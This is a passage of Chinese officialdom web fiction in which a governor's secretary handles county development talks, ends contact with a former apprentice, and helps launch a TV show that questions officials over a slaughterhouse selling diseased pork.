王革原本是青川市的区长,但因为工作上的失误,给政府带来了负面影响,组织才决定给他平调到风林县做市委书记。 地级市区长是县处级正职,风林县县委书记也是县处级正职。 但从一个东江省发展前五名的区长,调到了贫困县当书记,属于是平调暗降。 对于王革这种存在过错的干部,陈红旗认为,组织不想让其参与到风林县的改革红利,也是情理之中。 “你是土生土长的风林县人,在你兢兢业业的领导下,风林县迎来了一次机遇,这不该恭喜吗?” 李承弹了弹烟灰,微笑说。 “哦..这样呀。” 闻言,陈红旗心中有一抹小小的失落,但还是附和的说:“是呀,我是真没想到,有生之年还能看到风林县有如此巨大的机遇。 一直以来,我都认为风林县是被省里遗弃的边角料,哈哈哈,这些年县里发展难啊,经济也是一塌糊涂。 整个县,来几家像样的企业都没有,百姓经济提升不上去,就连我们这些官员的日子,也不好过,跟其他县的领导班子差太远了。 就我这双皮鞋,都穿了四年多了。” 说着,陈红旗指着自己那双已经不再有光泽,鞋尖处有褶皱的皮鞋,向李承诉苦。 他的本意,是向李承表示,他们的日子很艰苦,他也是一位勤俭节约的好官。 可这些话听在李承耳朵里,却听出了另一番味道。 “风林县现在是省里的宠儿,但你们作为县领导,切记不能恃宠而骄,要保持初心,牢记党的使命。”李承好意提醒道。 穷县城,赶上好的政策,迎来一次巨大的经济发展转机。 就相当于一个穷人,一夜之间成为了暴发户。 很难不骄纵。 暴发户骄纵的代价,就是挥霍金钱。 而穷县城领导骄纵的代价,就是贪污受贿,违法违纪。 以前的风林县,经济发展停滞不前,百姓的经济都不好,县里也没有几家企业落地,诱惑自然也就少。 但那些南陵市的大厂落地,为了跟本地领导打好关系,拿到便利,那些富豪们的出手绝不会吝啬。 美女,金钱的诱惑,甚至都会超过陈红旗这种‘土老帽’的想象。 所以,陈红旗,王革等一种县领导班子要面临的考验,就不止是如何拉拢那么企业家在本地进场,还有守住底线。 李承担心的就是陈红旗守不住底线,故而提醒。 “我知道李秘书什么意思,你放心,我陈红旗虽不及你们省里的官员,没见过什么大世面,但一定不会辜负孟省长,马书记和组织的期望。” 陈红旗信誓旦旦的保证。 可李承总觉得,这家伙说的话只是为了迎合自己。 压根对自己的话,根本没有放在心里去。 中午,县领导招待宴请。 因为下午还要赶回汉江,大家都没有喝酒。 吃完这顿饭,孟良德在县委会议室召开了一次会议。 再次强调了风林县的发展重点。 “孟省长,风林县要发展,修路是一个重点问题。 从风林到南陵的国道虽是双车道,但大车错车都是一个难题,稍有不慎就会发生剐蹭。 我们县一直想要将路扩宽,但县里的经济,实在无法承受。” 县委书记王革认真听完孟良德的讲话后,提出了自己的难处。 “是呀孟省长,都说要想富,先修路,我们县实在是没有钱啊,你看能不能给拨点款下来?” 在王革开口后,陈红旗也紧忙接话。 无论是从言语措辞,还是对问题的把控,陈红旗的个人素质远远低于了王革。 这几句话下来,两个人的能力,立判高低。 财政问题,本来是由政府部门管理,修路资金问题,也属于是县长陈红旗的工作范畴。 却是县委书记王革率先提出来,这就显得陈红旗这位县长,对于工作态度的不尽责。 “风林县的经济情况,我也有一定的了解,省里会给风林县批一笔用于修路的专项资金。” 孟良德当然清楚修路的重要性,路不修,距离南陵再近,也犹豫天际。 没有好的道路,是不可能完成招商引资,吸纳南陵企业的。 “感谢省里对我们风林县的大力支持,我们一定不会辜负领导的期望。” 第94章 别再联系 会议结束,孟良德,李承等人准备返航。 在上车之前,孟良德意味深长的嘱咐了市委书记吴刚:“吴刚同志,滨西矿业的问题要尽快给出妥善解决方案。” 关于矿难和问题,直到临走之前,孟良德才提起。 他并没有责怪,只是让尽早解决。 “我下午回去就着手处理,两天之内,一定能安抚好遇难者的家属。”吴刚信誓旦旦的向孟良德保证道。 这种事情,百姓们维权无路,为此四处奔波。 但对于吴刚这种掌权者来说,就是一句话的事。 孟良德答应三天内解决,他记住了,所以,他承诺在两天内安抚好,兑现孟良德给那些家属们的承诺。 “嗯。” 孟良德点了点头,看向李承:“李秘书,到时候你也跟进一下。” 他当着吴刚的面让李承跟进,就是在向对方表明自己的态度,以防对方会敷衍了事。 “好的省长。” 李承给孟良德拉开车门,伸出手悬浮在车门上方,防止孟良德磕到头。 关闭后排车门,正当李承准备坐进副驾驶离开时,滨西市长冯坤笑着对他说:“李秘书,我们常联系。” “嗯。” 李承清楚对方是在做给吴刚看,微笑点了一下头,上了车。 “欢迎孟省长下次来我市视察工作。” “孟省长,一路平安。” “......” 在众人的欢送下,汽车缓缓驶离,汽车朝着汉江的方向开去。 ..... 一日不见如隔三秋,用来形容李承和许梦的恋爱状态,十分贴切。 两个人仍处于热恋期,除了工作,两个人脑袋里想的,都是彼此。 “宝宝,我好想你。” 刚回到家,许梦就迫不及待的扑进了李承怀里。 “我也想你,每一分每一秒都在想。” 李承用力的抱紧许梦,似乎想要将对方拥抱进自己的身体里面。 “真的吗?” 许梦微微抬起脚尖,明亮的美眸一眨一眨。 “真的。” 李承轻轻亲吻了一下许梦的红唇,感受她唇上柔软。 看着李承只是轻轻亲热一小下,许梦有些不高兴,她心中强烈的占有欲上涌,双手环抱住李承的脖颈,那张绝美的俏脸贴了上去。 像是在拼尽全力,用舌尖索取李承的温度。 一番激吻后,许梦的脸泛起红润,她轻声在李承耳边说:“我洗过澡了。” “在床上等我。” 李承当然明白许梦话中深意,拿起浴巾,去冲洗身体。 一番激烈的恩爱后,李承搂着许梦,享受独处时的温馨。 ‘我的爱如潮水,爱如潮水将我向你推....’ 正在此时,李承的手机铃声响了起来。 自从做了孟良德的秘书,李承对于夜间来电有一种从心底的紧张。 他怕这是一通工作上的电话,打断两人的惬意时间。 拿起电话,看到来电显示,李承眉头微微蹙起。 而怀中许梦在看到对方备注后,情绪明显不悦。 “接呀。”许梦嘟着小嘴,说。 “嗯。” 李承滑动屏幕,接通了来自陈思琪的电话。 为了让许梦安心,他故意按下免提键。 毕阳送来照片后,虽然许梦表面上说不介意,不在乎。 可实际上,在她的心底深处,已经将陈思琪列入情敌的目录中。 “喂,师父,你在忙吗?”陈思琪声音中带着哭腔,问。 “有什么事?”李承沉声问。 “还是我弟弟的事情,本来事情已经结束了,可谁知道我弟弟那几个朋友也翻供了,都说我弟弟是主犯。 师父,你帮我联系一下宫局长,能不能再运作运作,我弟弟真的是被冤枉的。” 陈思琪楚楚可怜的说:“师父,你就是我的靠山,你一定要帮我呀。” “我没有花海集团那么大的本事,我解决不了。”李承冷漠的拒绝了陈思琪。 李承是真佩服陈思琪的脸皮。 忘恩负义的出卖了李承,居然还有脸再找上门求助。 毕阳找过李承后,宫庆鑫也联系了李承。 告诉李承,陈思琪家里动用了关系,花海集团的人托关系,还用了法务团队,给陈宇强保释。 李承听完,自然明白前后因果。 并告诉宫庆鑫,以后他们的事情不用管了。 陈思琪将照片给到花海集团,是为了让花海集团给他弟弟保释出来。 但很可惜,那些照片并没有威胁到李承。 花海集团认为陈思琪给的筹码不够,选择终止交易。 通过那些照片的含沙射影下,毕阳也认为,李承和陈思琪一定会发生关系,陈思琪在这场交易里留了心眼。 所以,他们才通过手段去整治陈宇强,从而来胁迫陈思琪交出更劲爆的照片。 可只有李承和陈思琪知道,那一晚,两个人什么都没有发生。 “师父,我知道错了,我也是为了救我弟弟,一时鬼迷心窍了,你原谅我,帮帮我好不好?” 陈思琪楚楚可怜的乞求道。 “我帮过你,你却要害我,换做是你的话,你还会帮你这种人吗?”李承严肃的反问道。 “师父,我错了...呜呜....” 陈思琪哭了起来,一个劲儿的向李承道歉:“对不起,我该死,对不起....” 她哭的很可怜,想用这种办法,换取李承的同情。 对此,李承却不为所动:“没其他事我就挂了,以后也不要再联系了。” 对于这种两面三刀的墙头草,李承不想再跟她有半点瓜葛。 至于什么所谓的师徒情,算了吧。 “师父。” 听到李承狠心拒绝,陈思琪语气变得坚定起来:“我知道,你一直都想要我,只要你愿意帮我弟弟,我给你一次。” “呵呵...” 李承冷笑一声:“陈思琪,你觉得自己很高贵吗?之前帮你,是看在同事一场。 对于你这个人,我没有半点兴趣!” 丢下这句话,李承直接挂断了电话,不给对方再开口的机会。 ‘嘶...’ 电话刚挂断,李承腰间就被许梦狠狠拧了一把,疼得他倒吸一口气。 “怎么了?”李承不解的问。 “你什么时候帮她弟弟了,我怎么不知道?” 第95章 东江问政 接下来的一段时间。 并没有突发性事件发生,工作进展很顺利。 花海集团方面,李承不知道是否达成了某种微妙的共识,孟良德没有再继续过问。 除了秘书的日常工作外,李承也一直在跟进问政节目的进展。 有省长孟良德,和省委书记马洪波支持,问政节目的进展十分顺利,期间没有遇到过任何的阻碍。 省电视台也将中午十二点定为首播时间,晚上八点半还会在省电二台进行重播。 节目正式命名为《东江问政》。 十二月一日。 《东江问政》正直开始录播。 作为《东江问政》的第一期节目,又是省里高度认可的节目。 于是,孟良德亲自到场,作为特邀嘉宾,莅临省电视台,参与录制。 “紧张吗?” 台下,李承看着即将走向舞台,进行开场白的许梦,关心的问。 “嗯,紧张,有点怕表现不佳。” 许梦平稳几次呼吸。 作为新闻主播,如果是平常节目,她可以从容应对。 今天不同,台下等待问政的,是汉江市各个单位的负责人,台上特邀嘉宾,是东江省的省长,以及汉江市市长张宝林。I 面对一众掌权者,说不紧张,那是假的。 毕竟,虽说这个节目是李承提议,确实孟良德的名义牵头开展的。 孟良德有决定主任人更换的权力,许梦怕自己表现不好,被孟良德替换下来,丢了李承的脸。 “没关系的。” 李承拍了拍许梦的肩膀,在许梦耳边轻声安抚道:“台上的是我老板,自己人,台下的那些人,见到你男朋友我,都要恭恭敬敬,客客气气。 你不用怕得罪他们,他们怕得罪我,所以,你完全可以放开手脚。” 李承如此高调的言辞,只是为了安慰许梦,缓解她的紧张情绪。 同样,这番话也是实话。 台下坐的,各个单位的分管负责人,最大不过正处级干部。 李承‘二号首长’的身份,对这群人的威胁最大。 “好。” 许梦点了点头,她用手掌在李承的手背上蹭了一下。 李承可以清楚感觉到她手心中的汗水。 ‘噔噔噔...’ 随着一道开播前奏声音响起,许梦保持标准的微笑,大步走向台前。 “大家好,我是主持人许梦,欢迎电视机前的观众朋友收看东江问政。 今天是我们节目的第一期,为此,我们特邀请到了东江省孟良德省长作为特邀嘉宾,让我们掌声欢迎.....” 许梦用播音腔,铿锵有力的说出开场白。 站在台下,李承看着台前发光发亮的许梦,没来由的一阵庆幸。 许梦这位新闻女神能成为自己的女朋友,对他来说,仍有一种如梦似幻的感觉。 一番开场白和介绍嘉宾后,许梦开始进入主题。 “食品安全一直以来都是全国人民最重视的问题,尤其是肉类,更是我们老百姓日常生活中,餐桌上的常客。 近日,接到举报,汉江市星光屠宰场涉嫌屠宰死猪病猪进行贩卖,我们记者也冒充采购商,进行了暗访。” 许梦的话说完,开始插播了一条VCR。 画面中是记者的暗访星光屠宰场,一头头死猪,病猪,被送进机器进行清洗,屠宰。 在地面上,有很多血渍和粪便的混合物,动物器官堆积在角落。 整个画面,看起来都令人作呕。 好在是冬季暗访,如果是夏天,这种地方一定是蚊虫满天飞。 “我是做肉肠厂的,这是我的名片,我们公司想在这里采购猪肉,你们这的价格是多少?” 记者冒充肉肠加工厂的老板,对于屠宰场的工作人员进行的询问。 “活猪肉六块八一斤,死猪肉四块一斤,看你要多少,要哪个部位,还能优惠。”类似经理模样的男人,回答了记者的问题。 “活猪肉和死猪肉就差两块八呀?”记者反问。 “两块八还少吗?”男人点燃一根香烟,反问。 “死猪肉不是禁售品吗?应该更便宜才对吧。”记者说。 “白给你得了呗,呵呵呵....”男人冷笑一声。 “这个价格,跟我心里预期很大呀,像你这死猪肉,也不好卖吧,能不能便宜点。” 记者用套话的方式,询问道。 “实话告诉你,我这里的死猪不愁销路,你别小看二块八,一千斤就差了两千八。 随随便便一个早市的猪肉贩子,一早上谁家不卖个千八百斤啊。 包子铺,饭店,一些大超市,还有像你们这些做加工品的,很多都从我这里拿死猪肉。 就这么说,我们一晚上杀一千多头死猪,这不够卖。” VCR到这里就终止了,画面重新切回导播台。 “猪肉与我们日常生活息息相关,可就是这种死猪,病猪,却明目张胆的流入百姓的餐桌上。 为此,我们请到了汉江市市场监督管理局,食品安全处的王兴处长。” 许梦的目光投向王兴,等待导播镜头切换后,许梦开口问:“请问,王处长,关于星光屠宰场贩卖死猪,病猪一事,您是否知情。” “主持人,我不知情,刚才看到VCR上的画面,我也很震惊,很痛恨!”王兴摆出一副愤慨的模样,回答道。 “可据我们了解,从今年五月份至今,陆陆续续有多名举报者向市场监督管理局和信访局举报星光屠宰场。 这件事,您真的不知情吗?” 许梦言辞刁钻,没有给对方留半点台阶下。 将‘不相信’三个字,几乎写到了脸上。 面对许梦的质问,王兴额头渗出了冷汗。 这件事他可能不知情吗? 不可能。 他只是想撇清责任,可面对许梦近乎咄咄逼人的询问,王兴荒了。 “主持人,我真的不知情,我回去一定好好彻查此事,如果是真的,我会联合公安部门,对于星光屠宰场进行追责。” 王兴擦了一把额头上的冷汗,吞咽了一口口水,信誓旦旦地说。 对于他的回答,许梦并不满意。 “王处长,您是不知情,还是不想管?” 第96章 犀利言语 “王处长,您是不知情,还是不想管?”许梦再次对王兴发出灵魂拷问。 “我想管,确实是不知情。”王兴坚定的回答道。 台上还坐着省长和市长,王兴打死也不敢承认自己知情的事实,如果承认了,他这个处长也就干到头了。 “好。” 许梦微微点头,目光看向了汉江市市场监督管理局的局长韩峰。 “韩局长,请问您是否知情此事?” 韩峰是副厅级干部。 省委书记马洪波曾提出过,厅局级干部不问政。 意思是,厅局级干部,不直接以负责人的身份,被主持人审问。 但在一定必要下,可以作为辅助嘉宾的身份,配合询问。 况且‘厅局级干部不问政’只是一个虚定标准,而并非固定,如有特定情况下,同样可以参与。 “我也不知情。” 韩峰微微摇头,表情严肃的回答了此事。 “请问韩局长,市场监督管理局的举报热线是否正常运转工作。 群众举报多次,我们也联系过信访局,信访局也表示将星光屠宰场的举报工作交接到了市场监督管理局。 为何局长您和张处长对此都不知情呢?” 许梦言辞犀利刁钻。 那清冷的动听声音中,处处都暗藏着杀机和陷阱。 稍有不慎,就会回答错误。 韩峰能说举报热线和与信访交接工作内勤方面出现问题吗? 不能。 这种说辞,没有人会相信。 而且,如果他将责任推到内勤,那么,也就是变相的说明,是他领导不力,管理不到位。 “局里接到举报后,会第一时间根据举报内容,传递到负责科处办公室,至于张处长为何不知情,是消息传递不及时,还是有人知情不报,我回去会好好调查。” 韩峰态度严肃的说。 他的皮球踢得很漂亮,没有表明任何人的责任,却也在看似提出解决方式的同时,敷衍的问题关键。 “食品安全是重中之重,肉食品存在如此重大的隐患,市场监督管理局作为监管部门,在这么长时间里没有解决。 是严重的工作失误,其中,定然存在一部分人违背了党的初衷,触犯了纪律甚至是法律。 张市长,你看这件事怎么办?” 孟良德开口,态度十分严肃。 李承站在幕后,看着台上孟良德的眼神,他知道,自己的老板是真的发火了。 猪肉,几乎是餐桌上必不可缺的东西。 死猪,病猪,存在严重的安全隐患,却在汉江市场上占据了一定的销售份额。 这件事没有得到某位领导的庇护,怎么可能? 孟良德愤怒的是,那些领导为了一己私欲,将民众的健康置之身外,这是对民众健康的不负责,也是对党和纪律的挑衅与亵渎。 “孟省长,这件事我会亲自负责调查,所有涉事企业,该关停的关停,该整顿的整顿。 贩卖死猪,病猪的屠宰场,以及死猪来源,我会督导公安部门进行刑事追究。 对于星光屠宰场背后是否有保护伞,我也会联合纪委部门,进行彻查到底,保证给组织和人民一个满意的答复。” 张宝林回答的滴水不漏。 他的回答让孟良德十分满意,这才将话语权继续交给到主持人。 接下来,许梦又问政了几个官员。 有工商,有环保局,那些负责人都在许梦的连番炮轰下,汗流浃背,吓的大气都不敢喘。 能被叫到这里问政的领导,或大或小,都存在问题。 最次也是一个管理不利的懒政行为。 节目录制了两个小时,迎来的尾声。 台下的官员们,等到结束后,这才长舒了一口气。 这两个小时,对他们来讲如坐针毡,如芒在背。 而李承也彻底感受到了孟良德选许梦作为主持人时,说的那句玩笑:许梦不一样,有你这位省长秘书做背书,她可以放开手脚。 许梦就是一个电视台主持人,事业编制。 如果没有一个强大的背景给她撑腰,她是没有底气敢以那种犀利的口吻,去质问这些官员。 许梦今天在台上的出色表现,是因为她有底气。 她的底气是李承,李承的背后是孟良德。 这种背景下,那些官员就算对许梦的提问心生不满,甚至是怨气,也不敢有任何的动作。 “省长,水。” 台上这么久,李承看到孟良德早已经把水杯里的水喝光。 几次下意识的举杯,最后又放下了动作。 作为专职秘书,这些细节他自然会观察到位。 节目录制中,他不能去倒水打断,节目结束,他第一时间将接好了一杯温水递了过去,并接过孟良德的保温杯。 “嗯。” 孟良德接过纸杯,喝了一大口水后,对许梦提出赞许:“许梦的表现让我很满意,站在百姓的角度发声,敢于提出质疑,很不错。 想来,你在背后也帮她做了不少功课吧。” “我只是把老板您的意思,精准的传达给了她。”李承接过空纸杯,微笑说。 许梦台上的优秀表现,背后确实有李承的一定鼓励。 李承反复强调要敢于犀利表达,提出任何疑问,不要怕得罪任何人,这才打消了许梦的压力。 让她能够在她上发光发亮。 “我去趟洗手间,你让市场监管局的留下来等我。” 孟良德交代了一句后,笑呵呵的道:“许梦也累很久了,连口水都没喝,你做男朋友的关心一下呀。” “好的,老板,” 李承点头,紧忙又去倒了杯水,走到许梦身边。 此时,那些被问政的官员们,一个个垂头丧气,正准备起身离开。 刚好都看到了李承给许梦递水。 “喝杯水,渴坏了吧?”李承温柔的笑道。 “习惯了。” 许梦接过纸杯,笑着说。 “你今天表现很不错,孟省长刚刚还亲口夸奖了你。”李承的声音没有任何收敛,故意说给所有人听。 孟良德让李承去关心许梦,这其中,就有让李承当众给许梦撑旗的意思。 要当着众人的面,用这种方式告诉他们,许梦与李承的关系,以及得到孟良德的重视! 第97章 狗血喷头 众人看似都在各忙各的,准备离开。 耳朵却都在留意着李承和许梦,时不时会将目光投递过去。 在看到两个人的亲近关系后,很多不知情者,也纷纷开始大胆猜测。 但无论他们如何猜测。 有一点,他们十分清楚,就是这位言辞犀利的主持人背景不简单,他们惹不起。 “韩局长,王处长,你们留步。” 看到市场监督管理局的韩峰和王兴准备离开时,李承喊住了二人。 “李秘书,有什么吩咐?”韩峰看着李承,问。 他的脸色并不怎么好,尤其是被李承喊住时,眸子更加阴沉。 瞟向一旁王兴的目光里,带着十足的杀气。 “孟省长等下有事情要跟你们谈。”李承道。 “哦,好。” 韩峰也不意外,被李承叫住时,他就有了心理准备。 而一旁的王兴,在听到孟良德要见他时,肉眼可见的慌乱起来。 本就稀少的头发,甚至已经被汗水给浸透。 很快。 孟良德走了回来。 “省长,隔壁有一间小型会议室。”李承说。 在刚刚,李承问过许梦哪里有单独谈话的办公室,许梦指明了答复。 “嗯。” 孟良德点了点头,等待带路。 “孟省长,您这边请。” 许梦做出请的手势,将一群人带入那间小会议室内。 死病猪问题,关系到民生。 关系到汉江市上百万人民的健康问题,相比之下,其余问政的问题,都不值一提。 这件事让孟良德十分愤怒。 领导也是人,不是冰冷的机器,他也是有情绪的。 孟良德的愤怒需要发泄与释放,在电视机前,他要保持形象,但在这间会议室里,他可以尽情的发泄。 这王兴这位食品安全处的处长,就成为了承受愤怒的工具。 训斥声,在这间办公室持续了将近二十分钟。 王兴被骂的狗血喷头,整个人吓的大气都不敢喘,汗水一个劲的流。 低头站在那里,双腿都在不自觉的抖,一个劲的道歉。 “滚出去!” 骂完之后,孟良德指着门口,对王兴怒道。 “是,省长。” 王兴如蒙大赦,擦了一把额头的汗。 想要迈步离开,腿却被吓到不听使唤,差点一个踉跄摔在地上。 好在扶着墙面,勉强离开了办公室。 王兴离开后,孟良德点燃了一根香烟,平复着自己的心情。 抽了半根烟后,他的目光看向韩峰。 “韩局长,你跟我讲实话,这件事你有没有耳闻?”孟良德直言问。 “实话讲,听到过一些风声,我也问过王兴,他说已经解决过,孟省长,这件事是我工作失职,监管不力。” 韩峰这一次,没有隐瞒,说出了实情。 这与他在台上讲的话不同。 对此,大家都心照不宣,没有人去计较。 台上讲的话,是要给全省百姓听的,自然要有适当的隐瞒。 现在是闭门会议,面对孟良德,说实话才是明智的选择。 “既然是你工作的失职,那就要有处罚,明天写份检讨报告交上来,详细说明,你这些年工作都有哪些失职。 还有,是否犯过错误,都要给我坦诚交代,不要等到纪委查到你的头上再说,那么性质就不一样了。” 孟良德严肃的说。 “嗯,好的省长。” 韩峰点了点头,他的表情更加沉闷了。 想来,他心中已经将王兴的祖宗十八代都骂了几遍。 如果杀人不犯法,王兴可能要被他挫骨扬灰。 “回去吧。” 孟良德摆了摆手,也将烟头掐灭。 对于韩峰,孟良德并没有过多的训斥,这样李承看到了一些超乎寻常的东西。 “去把节目的负责人都叫过来,开个会。”孟良德对李承交代道。 这是《东江问政》的第一次节目播出。 孟良德对此,自然还有一些关于节目的工作安排,跟台长赖八法,以及《东将问政》的主持人许梦及幕后做叮嘱。 “好。” 李承点头,也退出了这间办公室。 他和韩峰一前一后出了办公室,看着韩峰落寞和迷茫的背影,李承快步追赶了上去。 “韩局长,情绪怎么这么低落?”李承走到他的身旁,淡淡的问。 “李秘书,换做你是我,你还能高兴的起来吗?”韩峰勉强挤出一个笑容,反问。 “如果我是你,那就要看到底有没有违法违纪。”李承说。 “什么意思?”韩峰云里雾里中,却能听出些不寻常的东西。 “如果违法违纪,我肯定会吓得一夜都睡不着,因为这件事,已经触碰到了孟省长的雷区。 孟省长一定会查到底。” 李承先是说明了第一种情况。 “但如果没有违法违纪的重大过错,只是工作失误的话,我会高兴吧。”李承道。 “高兴?怎么会高兴?”韩峰问。 “韩局长,如果孟省长真准备动你的话,还会要你一个检讨报告吗?这对你,说不定是个机会。” 李承压低声音,意味深长的说。 以孟良德的脾气,如果他想连带韩峰一起问责,那么,他会跟王兴一样,被骂到体无完肤。 但他没有。 关于他的问题,孟良德只是轻描淡写的要了一个检讨报告。 而这个检讨报告,在李承看来,更像是一张投名状! 韩峰不傻,他听出了李承的言外之意。 表情也变得惊疑不定,很久,他冲李承感激的点了点头:“多谢李秘书提醒。” “哎,我也就是推测,一句玩笑,不必当真。”李承摆了摆手。 他出言提醒,是为了拉近关系。 而这句话,就更像是免责声明。 “我懂。” 韩峰微微一笑,告辞离开。 李承跟他聊完之后,将台长赖八法,许梦等跟《东江问政》有关的负责人叫到了会议室。 会议内容,主要是围绕节目的后期问题。 录制两个小时,节目播出,可不是两个小时。 在台上,孟良德有些话认为是有不妥的地方,有些情节,认为是需要删减的,他要告诉这群人,后期时进行剪裁。 再有就是关于节目在播出后,可能遇到的一些问题,以及节目在网络营销的层面。 毕竟,新闻逐渐被短视频时代淘汰。 为了增加影响力和公信力,短视频的营销,也要进行投放和专栏。 第98章 初心 次日一早。 李承和孟良德刚到省政府,就看到韩峰带着他的检讨信就等待在办公室门口。 见状,李承微微一笑。 韩峰还是很上道的,提点一下,就知道该如何做。 提前等待在这里,可以表明他的态度以及对孟良德的十分重视。 “孟省长。” 见到孟良德和李承,韩峰快步迎了上来。 他对孟良德打完招呼,也冲着李承微笑点了点头。 “嗯,办公室里说。” 孟良德和韩峰进入办公室,李承没有直接跟进。 他烧开了水,带着茶叶,这才推门而入,给孟良德沏茶。 “韩峰同志,如果你对工作,能像对待这份检讨报告一样认真,死病猪的问题,也不会持续这么久。” 孟良德话语中虽带着问责之意。 但其中,也透露这对这份检讨报告的满意。 “孟省长,我一定加以改正,严格审查。”韩峰道。 “重点在于用人。”孟良德说。 这话,已经等于是撇清了死病猪问题与韩峰的直接关系,将其推究在了用人不当上。 孟良德的态度,跟李承猜想一致。 李承并没有在办公室多停留,他还有很多工作要处理。 去了一趟办公厅,跟杨兆华秘书长交涉了一番孟省长的工作行程重点,李承又去了综合一处,安排部分工作。 李承是综合一处的副处长。 张俊被调离后,综合一处的处长位置,一直就处于空缺状态。 但杨兆华却迟迟没有安排新的处长就职,所以,李承虽为副处长,却也兼职着处长的职责。 李承这个专职秘书,属于是低配版的。 其他省的首长秘书,大部分还兼备着综合处,或是秘书处的处长一职。 没办法。 李承刚刚升任副处不久,任期不满两年,又没有重大的功绩,不能被破格提拔。 在李承部署完工作,拿着行程表走回办公室时,刚好韩峰也走了出来。 “李秘书,多谢你。” 韩峰见到李承后,真挚的向李承表示感谢。 若非昨天李承的善意提醒,他就不会在检讨报告上,这么清晰的表明自己问题,以及态度。 也不会早早等在这里,让孟良德看到他的诚意。 能够得到孟良德的认可,他将原因归功在了李承身上。 “举手之劳,不必客气。”李承笑着说。 “李秘书,晚上有时间,我想请您吃个饭。”韩峰邀请道。 “晚上看情况吧,工作性质在这里,一切以首长优先。”李承说。 “嗯,那我等您消息。” 两个人加了微信后,韩峰离开了办公室。 ..... 晚上,李承将孟良德送回招待宾馆后。 韩峰的消息就发了过来:【李秘书,晚上有时间吗?】 【有。】 韩峰未来有可能是自己的‘党羽’,李承还是愿意跟他接触的。 何况,对方是一位副厅长,主动请自己吃饭,自己也不能不给面子。 该结交的人脉,要结交。 【李秘书,我去接你,给我发个位置。】 【不用,我自己打车过去就行。】 【那好,我给你发位置。】 按照韩峰的位置,李承打车赶了过去。 “李秘书。” 李承刚下车,韩峰就迎了上来。 想来,是在门口等候一会儿。 一位副厅级干部等待迎接自己,这不禁让李承对韩峰的好感又多了几分。 “韩局长。” 李承跟韩峰握了握手,两个人一同进入饭店。 这场饭局只有他们两个人,说话聊天也相对方便很多。 “韩局长,这肉,还敢吃吗?” 李承看着餐桌上的肉菜,玩笑的问。 猪肉查出这么大的问题,而且,暗访的记录中明确说明了,很多死病猪肉都流入到了饭店。 对于肉类,李承从心底里有些抵触,怕吃到病死猪的肉。 “放心,这一桌都是牛羊肉,没有猪肉,说实话,我心里也犯膈应。”韩峰说。 “这件事,你准备怎么处理?”李承问。 “严查到底。”韩峰道。 “嗯,一定要严查严究,切记不能有任何的感情用事,电视台还会继续跟踪。”李承再次叮嘱。 李承同时负责《东江问政》的审核和策划工作。 关于病死猪肉的问题,在下一期《东江问政》节目里,会进行二次问政,来报道结果。 除此之外,八点档的《晚间新闻》也会播报此事的后续。 若是韩峰有半点的包庇行为,都有可能让这件事牵连到他自己。 “我知道。”韩峰点了点头。 “王兴如此胆大包天,上面还是有人包庇的吧?”李承夹了一口茶,随口问道。 王兴一定是知情包庇者,他的罪行基本是板上钉钉。 但如此重大问题,不是他一个人的关系,就能够包庇的。 “负责食品安全的徐副局长,或许也参与了其中,唉...让纪委的同志去查吧。” 韩峰叹了口气,有些无奈。 “你跟这位徐副局长的关系还不错吧?” 要办王兴时,韩峰是杀气腾腾,可说到徐副局长,韩峰却变得低落起来。 “一起工作十几年了,他一直很支持我的工作,私交很好。”韩峰如实道。 王副局长跟他有十几年的感情,还是韩峰在局里的亲信。 拿到王副局长,这对韩峰来说是一大损失,也是一种情感上的遗憾。 可他也没办法。 当下,这种事件发生,他只能选择大义灭亲。 如果他不灭亲,被灭的就是他自己。 “触犯纪律就要受到处分,任何人都一样,所以,我一直在警醒自己,不要抱有任何侥幸心理。 秦秘书长就是活生生的例子。” 李承这番话是提醒自己,也是提醒韩峰。 “听说秦海秘书长,死了?”听到李承提起秦海,韩峰压低声音,问。 “嗯。” 秦海在十天前,抢救无效身亡。 他的死,并没有在政坛上掀起太大的波浪。 “秦海秘书长是我的老领导,他人还是很不错的,就是败在了一个贪字上啊。”韩峰道。 回想起十几年前跟秦海一同办公的场景,那时候的秦海是斗志满满,对工作认真尽责。 可就是那样一位好官,在十几年后,却成为了东江巨贪,死于自杀... “他算是用自己的人生,给我们上了一课,我们要时刻牢记初心!” 第99章 流量的副作用 《东江问政》一经播出,在全省迅速成为了百姓们重点关注的节目,收视率直线飙升。 在全国的媒体行业上,都掀起了一波浪潮。 第一期节目首映,就迅速成为了热点新闻。 很多自媒体纷纷发表,对于此事的看法,想蹭一波流量热度。 而这些人的发表,也给节目本身带来了流量。 死病猪,与每一位百姓的生活都息息相关。 人就是如此,一旦关系到了自身,就会格外的上心。 节目流量也就随之而来。 此事持续发酵了很久,大家怒斥这群黑心商贩,怒视市场监管局的不负责。 同时,也对孟良德省长的发言和节目上的训斥,表示了深深的赞同和认可,让孟良德的形象再次提高。 而许梦敢发言,言辞的犀利,以及美丽的样貌,也迎来了广大网友们的喜欢。 《东江问政》播出后,许梦真正成为了东江省新闻界的全民女神。 尤其是在汉江,她的名气都不亚于一些明星。 名气是需要流量的加持。 晚间新闻虽是省电视台的黄金节目,但它的特点在于播报新闻,新闻的价值性,要高于娱乐节目。 但新闻毕竟枯燥乏味,收看收入大多以老年群体为主,关注度不高。 可《东江问政》却深受全体人民的喜欢。 原因很简单,因为它不仅仅是一档新闻政坛类节目,在它的身上,还带有一定娱乐节目的爽点。 这也是为何在节目播出前,李承就敢打包票,认定这个节目一定会爆火的原因。 有政府推流,不会受到平台与监管部门的限制,节目本身够硬,不火才怪。 流量是一把双刃剑,有利好,也有副作用。 副作用就是猪肉类产品在汉江市滞销,乃至于全省都出现了下滑的趋势。 猪肉滞销,对于普通百姓来说,是无关紧要的小事,牛羊肉可以替代。 可对于经济,会来带连锁影响。 就直接的体现,就是猪肉价格方面的直线下滑,很多养殖户将面临亏损。 饭店,超市,农贸市场等销售单位的收入,也在下滑。 下午。 孟良德与商业厅,农业厅等部门开了一场关于猪肉滞销问题的会议后,决定迅速解决此事。 避免更加严重的经济损失。 而解决此问题的最佳方式,就是打消群众们对猪肉的恐慌情绪。 “李秘书,你跟进一下病死猪的处理结果,让电视台也持续播报此事,尽快打消百姓们对猪肉的疑虑。” 孟良德将这个任务吩咐给了李承。 《东江问政》节目是李承提出来的,整体规划李承也一直在跟进负责,孟良德很认可李承在这方面的作为。 所以,便将这个问题,继续交给李承负责。 “好的省长。”李承点头答应。 “以后你多辛苦一下,作为嘉宾去参与录制,上面没有领导坐镇,台下的干部未必会配合。” 孟良德喝了一口茶水,说。 “不辛苦,还有加班费拿,可是好事呀。”李承笑呵呵的说。 